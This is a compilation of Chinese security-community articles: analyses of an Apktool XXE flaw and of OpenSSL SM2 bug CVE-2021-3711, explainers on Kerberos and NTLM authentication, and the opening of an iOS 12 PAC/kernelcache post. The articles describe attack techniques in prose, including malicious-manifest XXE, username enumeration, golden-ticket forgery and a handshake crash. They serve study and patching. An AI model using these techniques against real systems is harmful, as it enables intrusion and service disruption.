[http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf](http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf)
[http://www.cnblogs.com/Danny-Wei/p/4161539.html](http://www.cnblogs.com/Danny-Wei/p/4161539.html)
[http://www.openoffice.org/sc/compdocfileformat.pdf](http://www.openoffice.org/sc/compdocfileformat.pdf) | 社区文章 |
# Apktool未正确解析XML导致的XXE漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
Apktool未正确解析XML导致 **XXE漏洞** 。以下做一个简单的分析和演示Apktool在进行回编译操作时产生XXE漏洞的过程。
## 漏洞描述
潜在的攻击者可通过构造XML文件，在受影响版本的Apktool对该XML文件解析时触发，造成受害者电脑上任意文件的访问。
## 演示
从Apktool的Github项目下载受影响的apktool_2.2.2.jar（<https://github.com/iBotPeaches/Apktool/releases/download/v2.2.2/apktool_2.2.2.jar>）
使用受影响的Apktool版本v2.2.2进行回编译打包的过程中触发XXE漏洞。
java -jar ~/Downloads/apktool_2.2.2.jar b ApkIDE_test -o ApkIDE_test_modified1.apk
而使用刚修复的版本v2.2.3 commit **f19317d87c316ed254aafa0a27eddd024e25ec6c** 进行回编译打包时
则产生以下提示：
从而修复了漏洞。
## 漏洞分析
先来一张修复之后的commit的diff图
<https://github.com/iBotPeaches/Apktool/commit/f19317d87c316ed254aafa0a27eddd024e25ec6c#diff-84f49a5539f89dd92ae7ff22216416d9>
在 [brut.apktool/apktool-lib/src/main/java/brut/androlib/res/xml/ResXmlPatcher.java](https://github.com/iBotPeaches/Apktool/blob/f19317d87c316ed254aafa0a27eddd024e25ec6c/brut.apktool/apktool-lib/src/main/java/brut/androlib/res/xml/ResXmlPatcher.java)
这里加了一句：
docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true);
private static final String FEATURE_DISABLE_DOCTYPE_DECL = "http://apache.org/xml/features/disallow-doctype-decl";
作者的log为 **“Prevent doctypes declarations”** ，即不允许XML中的doctypte声明了。
这里作者还专门增加了一个
[brut.apktool/apktool-lib/src/test/java/brut/androlib/ExternalEntityTest.java](https://github.com/iBotPeaches/Apktool/blob/f19317d87c316ed254aafa0a27eddd024e25ec6c/brut.apktool/apktool-lib/src/test/java/brut/androlib/ExternalEntityTest.java)
配合一个测试用的payload
[brut.apktool/apktool-lib/src/test/resources/brut/apktool/doctype/AndroidManifest.xml](https://github.com/iBotPeaches/Apktool/blob/f19317d87c316ed254aafa0a27eddd024e25ec6c/brut.apktool/apktool-lib/src/test/resources/brut/apktool/doctype/AndroidManifest.xml
"brut.apktool/apktool-lib/src/test/resources/brut/apktool/doctype/AndroidManifest.xml")
作为检测XXE的测试。
## 代码追踪
当我们使用这个命令
java -jar ~/Downloads/apktool_2.2.2.jar b ApkIDE_test -o ApkIDE_test_modified1.apk
进行回编译打包时，
在brut.apktool.Main类的main()方法中，对命令行参数进行解析，若使用b选项，则调用cmdBuild()方法，
cmdBuild()方法对命令行的-o（指定输出目录）等进行解析，并最终调用Androlib的build()方法，将命令行中待回编译打包的目录（例子中是`ApkIDE_test`）和最终生成的apk文件的路径，作为参数传入Androlib的build(ExtFile
appDir, File outFile)方法。
在Androlib的build(ExtFile appDir, File outFile)方法中，
先对AndroidManifest.xml进行了备份，然后调用brut.androlib.res.xml.ResXmlPatcher类的
fixingPublicAttrsInProviderAttributes()方法对传入的manifest文件进行解析。
fixingPublicAttrsInProviderAttributes()调用了loadDocument(file)方法
而loadDocument(file)未对传入的file进行检查和限制就执行了parse(file)，直接对AndroidManifest.xml文件进行解析。
**于是恶意攻击者可构造恶意的AndroidManifest.xml使得安全分析人员调用Apktool的b选项进行回编译打包时，触发XXE漏洞。**
而修复版（参考上面的diff）正是在这里增加了一个setFeature()方法，
docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true);
从而避免了由于对DOCTYPE的解析导致的XXE漏洞。
## 已知受影响版本
Apktool v2.2.1
<https://github.com/iBotPeaches/Apktool/releases/download/v2.2.1/apktool_2.2.1.jar>
Apktool v2.2.2:
<https://github.com/iBotPeaches/Apktool/releases/download/v2.2.2/apktool_2.2.2.jar>
## 给开发者和安全分析人员的建议
使用 **apktool v2.2.3** 及其以上版本；
检查所有集成了apktool的工具，确保其依赖的apktool在 **v2.2.3** 及其以上版本。
## 参考：
<https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/>
<http://www.theregister.co.uk/2017/12/06/java_and_android_vulns/>
<http://www.wjdiankong.cn/android%E9%80%86%E5%90%91%E4%B9%8B%E6%97%85-%E5%8F%8D%E7%BC%96%E8%AF%91%E5%88%A9%E5%99%A8apktool%E5%92%8Cjadx%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E9%94%99%E8%AF%AF%E7%BA%A0/> | 社区文章 |
# kerberos协议
#### kerberos协议中的角色与简单流程
Kerberos是一种由MIT（麻省理工大学）提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
在kerberos协议之中主要是有三个角色存在：
* Client(用户)：发出访问服务的角色
* Server(服务)：提供服务的角色
* KDC(Key Distribution Center)密钥分发中心：分发密钥的角色
在一个域林之中，KDC服务默认会安装在域控之中，而client和server是域内的用户或者服务。在kerberos认证过程中client是否有权限访问server的服务就由KDC发放的票据决定
**_简化的Kerberos认证流程图_**
> 名词概念
>
> AD(Account Datebase)：账户数据库
>
> Master Key： 用户密码的一种hash值
>
> Ticket(票据)：域网络对象相互访问的凭证
>
> TGT(Ticket Granting Ticket 票据授予票据)：用于向KDC获取服务票据的凭证
>
> TGS(Silver Ticket 服务票据)：用于向Server请求服务的凭证
>
> Authentication Service(身份认证服务)：认证Client 的身份，并为其发放TGT的服务，是KDC的一部分
>
> Ticket Granting Service(票据发放服务)：检验Client发来的TGT，并为其生成某个Server的TGS,是KDC的一部分。
1. AS_REQ(认证服务请求)：Client向KDC发送AS_REQ，请求的凭据是Client的hash(这个hash是根据输入的密码生成的)加密的时间戳。
2. AS_REP(认证服务响应)：KDC向发出AS_REQ的Client发出响应，去如果认证成功就返回一个TGT
3. TGS_REQ(票据发放服务请求)：Client凭借TGT向KDC发送对某一Server的TGS_REQ
4. TGS_REP(票据发放服务响应)：KDC验证TGT，如果验证正确就根据请求的服务返回对应的TGS,不管是否有权向访问Server
5. AP_REQ(服务请求)：Client凭借TGS向Server发起服务请求
6. AP_REP(服务响应)：Server验证TGS，如果验证正确就向KDC询问，Client是否有权限获得服务，如果有就返回响应
## AS_REQ
#### **_数据包结构拆解_**
Kerberos
Record Mark: 294 bytes
0... .... .... .... .... .... .... .... = Reserved: Not set
.000 0000 0000 0000 0000 0001 0010 0110 = Record Length: 294
as-req
pvno: 5
msg-type: krb-as-req (10)
padata: 2 items
PA-DATA PA-ENC-TIMESTAMP
padata-type: kRB5-PADATA-ENC-TIMESTAMP (2)
padata-value: 3041a003020112a23a04384e3857102e1da38ea37695b42c…
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
cipher: 4e3857102e1da38ea37695b42cc877f2dfbc29a67c6c8f21…
PA-DATA PA-PAC-REQUEST
padata-type: kRB5-PADATA-PA-PAC-REQUEST (128)
padata-value: 3005a0030101ff
include-pac: True
req-body
Padding: 0
kdc-options: 40810010
0... .... = reserved: False
.1.. .... = forwardable: True
..0. .... = forwarded: False
...0 .... = proxiable: False
.... 0... = proxy: False
.... .0.. = allow-postdate: False
.... ..0. = postdated: False
.... ...0 = unused7: False
1... .... = renewable: True
.0.. .... = unused9: False
..0. .... = unused10: False
...0 .... = opt-hardware-auth: False
.... 0... = unused12: False
.... .0.. = unused13: False
.... ..0. = constrained-delegation: False
.... ...1 = canonicalize: True
0... .... = request-anonymous: False
.0.. .... = unused17: False
..0. .... = unused18: False
...0 .... = unused19: False
.... 0... = unused20: False
.... .0.. = unused21: False
.... ..0. = unused22: False
.... ...0 = unused23: False
0... .... = unused24: False
.0.. .... = unused25: False
..0. .... = disable-transited-check: False
...1 .... = renewable-ok: True
.... 0... = enc-tkt-in-skey: False
.... .0.. = unused29: False
.... ..0. = renew: False
.... ...0 = validate: False
cname
name-type: kRB5-NT-PRINCIPAL (1)
cname-string: 1 item
CNameString: testuser
realm: HACKE
sname
name-type: kRB5-NT-SRV-INST (2)
sname-string: 2 items
SNameString: krbtgt
SNameString: HACKE
till: 2037-09-13 02:48:05 (UTC)
rtime: 2037-09-13 02:48:05 (UTC)
nonce: 19228112
etype: 6 items
ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5 (23)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5-56 (24)
ENCTYPE: eTYPE-ARCFOUR-HMAC-OLD-EXP (-135)
ENCTYPE: eTYPE-DES-CBC-MD5 (3)
addresses: 1 item WIN10-X64-TEST<20>
HostAddress WIN10-X64-TEST<20>
addr-type: nETBIOS (20)
NetBIOS Name: WIN10-X64-TEST<20> (Server service)
* pvno
kerberos版本号
* msg-type
windows消息类型，AS_REQ的自然是krb-as-req
* padata(pre-authentication data 预认证数据)
是一些认证信息，是一个列表，内部有若干个认证消息，每一个认证消息有type和value。
具体可看：[Kerberos PA-DATA](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+PA-DATA)
* req-body
* kdc-options
这是一些KDC的option开启情况，属于一种标识位。
[mit文档](https://web.mit.edu/kerberos/krb5-1.12/doc/admin/conf_files/kdc_conf.html)
* cname
这是Client的主机名，采用的是PrincipalName 类型和string类型的组合。sname也是采用这种格式
> PrincipalName 类型
>
> KRB_NT_PRINCIPAL 用户主体名称类型
>
> KRB_NT_SRV-INST 服务和其他唯一实例(krbtgt)的名称类型
>
> KRB_NT_SRV_HST 服务主机名称为实例名的名称类型
>
> KRB_NT_SRV_XHST 服务与主机作为剩余组件名称类型
>
> KRB_NT_UID 唯一ID名称类型
>
> KRB_NT_UNKNOWN 未知名称类型
* realm
服务端域名
* sname
这是是服务端的身份和所属域，注意在AS_REQ中服务端指的是提供AS的KDC，所以正常的sname-string字段的值就应该是krbtgt和其所属域.
* till
到期时间
* etype
加密类型,在请求报文之中每个有加密的数据都有一个etype字段对应,KDC就是从这段数据中加密方式,来从AD之中选择对应的hash来进行身份验证
* addresses
地址相关信息@
#### KDC接收AS_REQ的行为
> 两个重要的padata(pre-authentication data 预认证数据)
>
> PA-ENC-TIMESTAMP
>
> 这个预认证数据是Client用自己的`Master key`加密时间戳得到的一串字符,
> AS拿到这个段数据之后就会根据etype去AD里面寻找对应的用户hash(用户名取自cname),并使用这个hash解密时间戳, 如果解密成功,
> 并且时间戳在一定范围之内,则这个预认证数据通过.
>
> PA-PAC-REQUEST
>
> 这个预认证数据是关于微软的一个扩展---PAC, 这个扩展的基本作用就是为kerberos添加"权限认证"的能力.
> 开启这项扩展,AS完成时间戳的认证之后就会将PAC(内部包涵Client的sid和所在组)放TGT的认证数据之中, 一起返回给Client,
> PAC关系到之后Server判断Client是否有权限访问服务
## AS_REP
**_拆解数据包_**
Kerberos
Record Mark: 1550 bytes
0... .... .... .... .... .... .... .... = Reserved: Not set
.000 0000 0000 0000 0000 0110 0000 1110 = Record Length: 1550
as-rep
pvno: 5
msg-type: krb-as-rep (11)
padata: 1 item
PA-DATA PA-ENCTYPE-INFO2
padata-type: kRB5-PADATA-ETYPE-INFO2 (19)
padata-value: 3020301ea003020112a1171b154841434b452e544553544c…
ETYPE-INFO2-ENTRY
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
salt: HACKE.TESTLABtestuser
crealm: HACKE.TESTLAB
cname
name-type: kRB5-NT-PRINCIPAL (1)
cname-string: 1 item
CNameString: testuser
ticket
tkt-vno: 5
realm: HACKE.TESTLAB
sname
name-type: kRB5-NT-SRV-INST (2)
sname-string: 2 items
SNameString: krbtgt
SNameString: HACKE.TESTLAB
enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
kvno: 2
cipher: 07b5d35de5b1ac006b831ff508a5ced14a010563418fd736…
enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
kvno: 4
cipher: 70246fe54be2b6395f20dc6845b970d16bb3319ab304e3bb…
主要关注与AS_REQ不同的点
* ticket
这就是AS派发的TGT票据，内部所有密文的密钥都是`krbtgt`的`NTLM hash`，如果能拿到`krbtgt`的`NTLM
hash`我们既可以伪造TGT，这就是`黄金票据`
* tkt-vno
票据版本
* realm
派发票据的KDC的所属域
* sname
派发票据的角色再KDC的身份，一般是`kbrtgt`
* enc-part
使用`kbrtgt`的`NTLM hash`作为密钥生成的TGT主体
* enc-part
这部分是使用Client的hash为key加密`Session key`得到的，主要用于作为下阶段(TGS阶段)的认证密钥。
### AS阶段的安全问题
#### 用户名枚举
在AS认证截断，用户名存在和密码错误的响应报文错误码不同，
* 用户名不存在的响应错误码是`6:KDC_ERR_C_PRINCIPAL_UNKNOWN 未知的主机名`
* 密码错误，用户名存在的响应错误码是`24:KDC_ERR_PREAUTH_PAILED 预认证失败`
通过这个比较AS_REP里的错误码就可实行 **_用户名枚举_** .
#### 黄金票据
AS_ERP里的tikcet的encpart是使用`kbrtgt`的`NTLM hash`为`key`加密而成的,所以只要拿到了`kbrtgt`的`NTLM
hash`就可以伪造TGT，这个伪造出来的票据就叫做 **_黄金票据_**
## TGS_REQ
**_拆解数据包_**
Frame 40: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface \Device\NPF_{FBDB2B2D-DEF3-473C-87EF-787E4B606694}, id 0
Ethernet II, Src: VMware_f0:d8:2b (00:0c:29:f0:d8:2b), Dst: VMware_e6:ab:e6 (00:0c:29:e6:ab:e6)
Internet Protocol Version 4, Src: 192.168.1.2, Dst: 192.168.1.1
Transmission Control Protocol, Src Port: 49731, Dst Port: 88, Seq: 1461, Ack: 1, Len: 8
[2 Reassembled TCP Segments (1468 bytes): #39(1460), #40(8)]
Kerberos
Record Mark: 1464 bytes
tgs-req
pvno: 5
msg-type: krb-tgs-req (12)
padata: 2 items
PA-DATA PA-TGS-REQ
padata-type: kRB5-PADATA-TGS-REQ (1)
padata-value: 6e8204f4308204f0a003020105a10302010ea20703050000…
PA-DATA PA-PAC-OPTIONS
padata-type: kRB5-PADATA-PAC-OPTIONS (167)
padata-value: 3009a00703050040000000
req-body
Padding: 0
kdc-options: 40810000
0... .... = reserved: False
.1.. .... = forwardable: True
..0. .... = forwarded: False
...0 .... = proxiable: False
.... 0... = proxy: False
.... .0.. = allow-postdate: False
.... ..0. = postdated: False
.... ...0 = unused7: False
1... .... = renewable: True
.0.. .... = unused9: False
..0. .... = unused10: False
...0 .... = opt-hardware-auth: False
.... 0... = unused12: False
.... .0.. = unused13: False
.... ..0. = constrained-delegation: False
.... ...1 = canonicalize: True
0... .... = request-anonymous: False
.0.. .... = unused17: False
..0. .... = unused18: False
...0 .... = unused19: False
.... 0... = unused20: False
.... .0.. = unused21: False
.... ..0. = unused22: False
.... ...0 = unused23: False
0... .... = unused24: False
.0.. .... = unused25: False
..0. .... = disable-transited-check: False
...0 .... = renewable-ok: False
.... 0... = enc-tkt-in-skey: False
.... .0.. = unused29: False
.... ..0. = renew: False
.... ...0 = validate: False
realm: HACKE.TESTLAB
sname
name-type: kRB5-NT-SRV-HST (3)
sname-string: 2 items
SNameString: host
SNameString: win10-x64-test.hacke.testlab
till: 2037-09-13 02:48:05 (UTC)
nonce: 19595592
etype: 5 items
ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5 (23)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5-56 (24)
ENCTYPE: eTYPE-ARCFOUR-HMAC-OLD-EXP (-135)
* msg-type
windows消息格式，krb-tgs-req
* padata
这部分携带了TGS_REQ最重要的数据—TGT票据，TGT票据以ap-req的形式存放在数据包之中。KDC会校验TGT，如果正确就返回TGS票据
这部分数据和还包含PAC和S4U2SELF,这个之后其他文章单独说
* req-body
格式和之前的请求报文基本一致，只是这里的 _sname_ 换成了 ** _Client_** 想要请求服务的 ** _Server_** 的名字
## TGS_REP
**_数据包拆解_**
Kerberos
Record Mark: 1495 bytes
0... .... .... .... .... .... .... .... = Reserved: Not set
.000 0000 0000 0000 0000 0101 1101 0111 = Record Length: 1495
tgs-rep
pvno: 5
msg-type: krb-tgs-rep (13)
crealm: HACKE.TESTLAB
cname
name-type: kRB5-NT-PRINCIPAL (1)
cname-string: 1 item
CNameString: testuser
ticket
tkt-vno: 5
realm: HACKE.TESTLAB
sname
name-type: kRB5-NT-SRV-HST (3)
sname-string: 2 items
SNameString: host
SNameString: win10-x64-test.hacke.testlab
enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
kvno: 1
cipher: 1fc40f7b907bea22e5606abf4f0575c113b8f5ee8d87ce4f…
enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
cipher: e4705cfafb271944be50c33f4576bb4b4e449357fbdbb18f…
* msg-type
windows消息格式，krb-tgs-rep
* crealm
Client所属域
* cname
Client的身份名
* ticket
这就是最终的票据，是使用Client请求服务的Server的hash作为key来加密得到的。内部包含:`Server session
key`、`Client info (Domain name\client)`、`end time (到期时间)`
* enc-part
这一部分是使用AS认证中得`Session key`为key加密成得内部有`Server session key`,主要用于下轮用户认证(AP阶段)
# NTML协议
## LM Hash&NTML Hash
windows内部是不保存明文密码的，只保存密码的hash值
> 本机的用户密码hash是放在本地的SAM文件里面，域内用户的密码hash存在域控的NTDS.DIT文件的。
windows密码hash保存模式，类似如下
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
`AAD3B435B51404EEAAD3B435B51404EE`是`LM hash`
`31D6CFE0D16AE931B73C59D7E0C089C0`是`NTML hash`
### LM hash (LAN Manager Hash) 老密码
_LM Hash 的算法_
1. 将用户密码转化为大写，再将转化后的密码转化成十六进制字符串，不足14字节将会使用0再末尾补全。
2. 上一步得到的十六进制字符串分成两个7byte的部分，每部分转化成byte流，长度为56bit，长度不足的使用0在左边补齐。
3. 再分为7bit一组，每组末尾加0，凑足8bit，重新组回两组。
4. 上步骤得到的二组，分别作为Key对`KGS!@#$%`进行DES加密。
5. 加密后的两组拼接到一起，得到最终的LM Hash
_LM Hash的一些弊端_
* 密码方面的限制
* 密码长度最大只能为14个字符
* 密码不区分大小写
* 加密过程中的一些漏洞
* 如果密文的后半部分是`aad3b435b51404ee`，那么就意味着，这个密码的长度是小于等于7位的，密码强度大大减少
* des密码强度并不高
### NTLM hash
_NTLM hash 的算法_
1. 将用户的密码转化成16进制形式
2. 把转化成16进制的密码进行unicode编码
3. 使用MD4摘要算法对上一步得到的unicode编码进行hash计算
_NTLM hash本地的认证_
当用户注销、重启、锁屏之后，windows会让 ** _winlogon_** 显示登陆界面，接收用户的输入之后，会将将密码交付给 ** _lsass_**
进程，这个进程会将明文密码加密成NTLM hash，再与 ** _SAM数据库_** 里对应的用户密码做对比。
> * winlogon(Windows logon process)windows注册进程：是windows NT
> 用户的登陆程序，用于管理用户的登陆与退出
>
> * lsass( Local Security Authority Service): 用于本地安全与登陆策略
>
> * SAM(Security Account Manager
> 安全账户管理)：windows采用的账户管理策略，这个策略会将本地组的用户的账户和hash加密之后保存到SAM数据库中，SAM数据库文件路径是`%systemroot%\system32\config\SAM`文件
>
## NTLM 身份验证机制
NTLM 身份验证采用的是 `Challenge(挑战)/Response(响应)`验证机制，有三步组成：协商，质询，身份验证
**_客户机与服务器的交互过程示意图(域控不参加的情况)_**
* 协商：Client会发送一个带有用户信息(用户名)和服务器请求的功能列表
* 质询：Server对Client发出的 ** _协商_** 做出回应，返回的内容包含服务器同意并且支持的功能列表，更重要的是包含了服务器产生的`challenge`
* 身份验证：Client对Server返回的 ** _质询_** 做出回应，使用根具输入的密码生成的`NTMLM hash`和 ** _质询_** 中的`challenge`进行加密运算得到 ** _response_** ，然后将 ** _response_** 、用户名、 ** _challenge_** 一起返回给Server
> 关于challenge：服务端生成的一个随机字符用于验证Client的身份，NTLM v1中为8位，NTLM v2中为16位
>
> 关于Net-NTML hash：基于用户hash经过一定算法产生的。
>
> 关于response：本质上就是一个`net-NTLM hash` | 社区文章 |
# SM2国密算法应用的高危漏洞——CVE-2021-3711
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
openssl在8月24日发布了openssl 1.1.1l的稳定版，其中修复了一个高危漏洞：CVE-2021-3711。该漏洞会影响openssl
1.1.1l 之前的所有包含SM2商密算法版本，其中也包括基于openssl改造过的版本：阿里巴巴的babassl。
漏洞产生的原因，是解密
SM2公钥加密后的数据时，有可能分配了一个过小的内存，导致解密后的明文长度，大于该内存长度，造成内存越界，从而导致整个应用程序崩溃。而这个漏洞，对基于openssl搭建的国密网关服务、WEB服务，有一定概率导致服务崩溃，从而产生严重影响。目前，市面上比较通用的国密密码套件是使用SM2_SM4_SM3(0xE013)，也就是说，该密码套件是采用SM2加解密的方式进行密钥协商，因此，这就很有可能触发该漏洞，导致程序崩溃。
## 漏洞分析
解密 SM2公钥加密后的数据时，应用程序会调用函数EVP_PKEY_decrypt()，该函数定义如下：
int EVP_PKEY_decrypt(EVP_PKEY_CTX *ctx,
unsigned char *out, size_t *outlen,
const unsigned char *in, size_t inlen);
通常应用程序会调用两次这个函数：第一次，在进入时，“out”参数传
NULL，在函数返回时，“outlen”参数会返回”out”所需的缓冲区大小。然后应用程序分配足够的缓冲区，并再次调用
EVP_PKEY_decrypt()，但这次”out”传递的是非NULL。整个流程如下图所示：
static int pkcs7_decrypt_rinfo(unsigned char **pek, int *peklen,
PKCS7_RECIP_INFO *ri, EVP_PKEY *pkey,
size_t fixlen)
{
EVP_PKEY_CTX *pctx = NULL;
unsigned char *ek = NULL;
size_t eklen;
int ret = -1;
pctx = EVP_PKEY_CTX_new(pkey, NULL);
if (!pctx)
return -1;
if (EVP_PKEY_decrypt_init(pctx) <= 0)
goto err;
if (EVP_PKEY_CTX_ctrl(pctx, -1, EVP_PKEY_OP_DECRYPT,
EVP_PKEY_CTRL_PKCS7_DECRYPT, 0, ri) <= 0) {
PKCS7err(PKCS7_F_PKCS7_DECRYPT_RINFO, PKCS7_R_CTRL_ERROR);
goto err;
}
if (EVP_PKEY_decrypt(pctx, NULL, &eklen,
ri->enc_key->data, ri->enc_key->length) <= 0)
goto err;
ek = OPENSSL_malloc(eklen);
if (ek == NULL) {
PKCS7err(PKCS7_F_PKCS7_DECRYPT_RINFO, ERR_R_MALLOC_FAILURE);
goto err;
}
if (EVP_PKEY_decrypt(pctx, ek, &eklen,
ri->enc_key->data, ri->enc_key->length) <= 0
|| eklen == 0
|| (fixlen != 0 && eklen != fixlen)) {
ret = 0;
PKCS7err(PKCS7_F_PKCS7_DECRYPT_RINFO, ERR_R_EVP_LIB);
goto err;
}
ret = 1;
OPENSSL_clear_free(*pek, *peklen);
*pek = ek;
*peklen = eklen;
err:
EVP_PKEY_CTX_free(pctx);
if (!ret)
OPENSSL_free(ek);
return ret;
}
我们再来看使用SM2算法时，EVP_PKEY_decrypt内部实现：通过函数指针的方式，会调用到pkey_sm2_decrypt函数，从下图可以看到，当”out”为NULL时，会调用sm2_plaintext_size函数，其中“outlen”参数会返回”out”所需的缓冲区大小。
static int pkey_sm2_decrypt(EVP_PKEY_CTX *ctx,
unsigned char *out, size_t *outlen,
const unsigned char *in, size_t inlen)
{
EC_KEY *ec = ctx->pkey->pkey.ec;
SM2_PKEY_CTX *dctx = ctx->data;
const EVP_MD *md = (dctx->md == NULL) ? EVP_sm3() : dctx->md;
if (out == NULL) {
if (!sm2_plaintext_size(ec, md, inlen, outlen))
return -1;
else
return 1;
}
return sm2_decrypt(ec, md, in, inlen, out, outlen);
}
**问题就出在sm2_plaintext_size函数里**
。首先我们先需要了解一下SM2公钥加密后的ASN.1数据结构（ASN.1抽象语法标记，是一种数据格式），下图引用于《GB/T 35276-2017
信息安全技术 SM2密码算法使用规范》
通常情况SM2算法中xy分量的长度是32，但是也有可能小于32，问题就来了，sm2_plaintext_size函数的作用是获取CipherText密文的长度，计算方式简单粗暴：
`overhead = 10 + 2 * field_size + (size_t)md_size;`
overhead：整个加密后的数据中，不含密文后的长度
10： ASN.1格式中，所有标记的长度
2 * field_size：xy分量的长度，field_size是SM2密钥中的一个值（这个值是固定的32），而x/y分量的实际长度是有可能小于32的！
md_size：杂凑值的长度
`*pt_size = msg_len - overhead;`
pt_size：计算出的密文长度
msg_len：整个加密后的数据长度
所以计算出的pt_size有可能偏小，结合上面提到的EVP_PKEY_decrypt()调用方式，就可能分配一个偏小的缓冲区，从而造成内存越界，程序崩溃。
int sm2_plaintext_size(const EC_KEY *key, const EVP_MD *digest, size_t msg_len,
size_t *pt_size)
{
const size_t field_size = ec_field_size(EC_KEY_get0_group(key));
const int md_size = EVP_MD_size(digest);
size_t overhead;
if (md_size < 0) {
SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_DIGEST);
return 0;
}
if (field_size == 0) {
SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_FIELD);
return 0;
}
overhead = 10 + 2 * field_size + (size_t)md_size;
if (msg_len <= overhead) {
SM2err(SM2_F_SM2_PLAINTEXT_SIZE, SM2_R_INVALID_ENCODING);
return 0;
}
*pt_size = msg_len - overhead;
return 1;
}
这个漏洞有可能被恶意攻击者利用，攻击者在国密SSL握手时，生成一个x/y分量长度小于32的加密数据，就可以导致服务端程序崩溃。
## 漏洞修复
目前openssl已经出了1.1.1l了，已修复这个高危漏洞。
[https://github.com/openssl/openssl/commit/36cf45ef3ba71e44a8be06ee81cb31aa02cb0010?branch=36cf45ef3ba71e44a8be06ee81cb31aa02cb0010&diff=unified](https://github.com/openssl/openssl/commit/36cf45ef3ba71e44a8be06ee81cb31aa02cb0010?branch=36cf45ef3ba71e44a8be06ee81cb31aa02cb0010&diff=unified)
[https://github.com/openssl/openssl/commit/ad1ca777f9702f355a2f74dc5eed713476825f23?branch=ad1ca777f9702f355a2f74dc5eed713476825f23&diff=split](https://github.com/openssl/openssl/commit/ad1ca777f9702f355a2f74dc5eed713476825f23?branch=ad1ca777f9702f355a2f74dc5eed713476825f23&diff=split)
## 漏洞溯源
这个漏洞非常的隐蔽，并且发生的概率并不高，所以很难被发现，但是一旦被利用，将会造成严重影响。
从openssl的提交记录中可以看到，在2018年openssl支持SM2算法时，这个漏洞就一直存在了（下图），同样的，基于openssl改造的babassl都存在这个漏洞。
希望大家尽快更新openssl的版本，或修改相关代码以修复漏洞。
CVE-2021-3711漏洞链接：
<https://www.openssl.org/news/vulnerabilities.html#CVE-2021-3711>
能为国密应用的发展贡献自己的一份力量，这个还是挺高兴的！ | 社区文章 |
原文链接：<https://www.synacktiv.com/posts/exploit/ios12-kernelcache-laundering.html>
作者： [Eloi Benoist-Vanderbeken](https://www.synacktiv.com/author/eloi-benoist-vanderbeken.html)
### 前言
iOS 12发布已经过去好几周了。新的iOS版本通常意味着新的 _Kernelcache_ （内核缓存）和 _dyld_shared_cache_
文件格式，iOS
12当然也不会例外，除此之外还带来了一个惊喜：新的A12芯片的指针认证码（PAC）。这篇文章将会告诉你如何通过加强IDA来解决上述的两个问题。IDA
7.2测试版可能会增加对PAC和iOS12 _kernelcache_ 的支持，但要几周 之后才会发布，我们认为自己去实现这个功能会是很有趣的一件事。
本文概述：通过两个[IDAPython插件](https://github.com/Synacktiv/kernelcache-laundering)支持[PAC指令](https://github.com/Synacktiv/kernelcache-laundering/blob/master/aarch64_pac.py)和[iOS12 _kernelcache_
重定位](https://github.com/Synacktiv/kernelcache-laundering/blob/master/ios12_kernel_cache_helper.py)。
### PAC
这里不会提供更多关于PAC的信息，想要了解更多信息，可以去阅读[Mark
Rutland的演示文稿](https://events.static.linuxfound.org/sites/events/files/slides/slides_23.pdf)或直接阅读[文档](https://static.docs.arm.com/ddi0487/ca/DDI0487C_a_armv8_arm.pdf)。尽管有这么多的吹嘘[1](https://twitter.com/qwertyoruiopz/status/1044669668227784704)
[2](https://www.synacktiv.com/images/kernelcache-laundering/cbekrar.png)
[3](https://twitter.com/SparkZheng/status/1045265728318754816)以及PAC显然是不完美的，但依然算是朝着好的方向迈出了重要的一步。它使一些漏洞变得不可利用（特别实在受限的环境中），其他的一些漏洞也变得更加难以利用，可能还需要额外的漏洞。例如，基于堆栈的缓冲区溢出，导致在USB上暴露的服务(可用于开发类似GrayKey的设备)中对PC的直接控制可能变得不可利用，但JavaScriptCore中允许任意RW访问的漏洞很可能被利用.但是不管怎么说，苹果真的可以为这一功能感到自豪，因为它再次领先了竞争对手。
我们也不会展示IDA,因为IDA还不支持PAC指令（但是下一版本中应该会支持）。[@xerub](https://twitter.com/xerub)已经提供了一个插件来支持，但是还是有几个缺点：
* 显示不完美（操作数对齐不受重视，但这很重要！）
* 是用C ++编写的（快速但难以调整）
* 与Hex-Rays Decompiler不兼容
最后一点显然是最重要的一点。按照原理来说，xerub将PAC转换成非PAC的等价指令，RETAA被转换成RET，例如，这个插件之后通过 _insn_
_insnpref_ 字段中放入一个标识符来确保它们正确显示出来。由于这一点，Hex-Rays
Decompiler只能看到经典的ARM指令，并能够反编译使用RET，BLR，BR，ERET和LDR已验证版本的函数。
然而， _PACXXX_
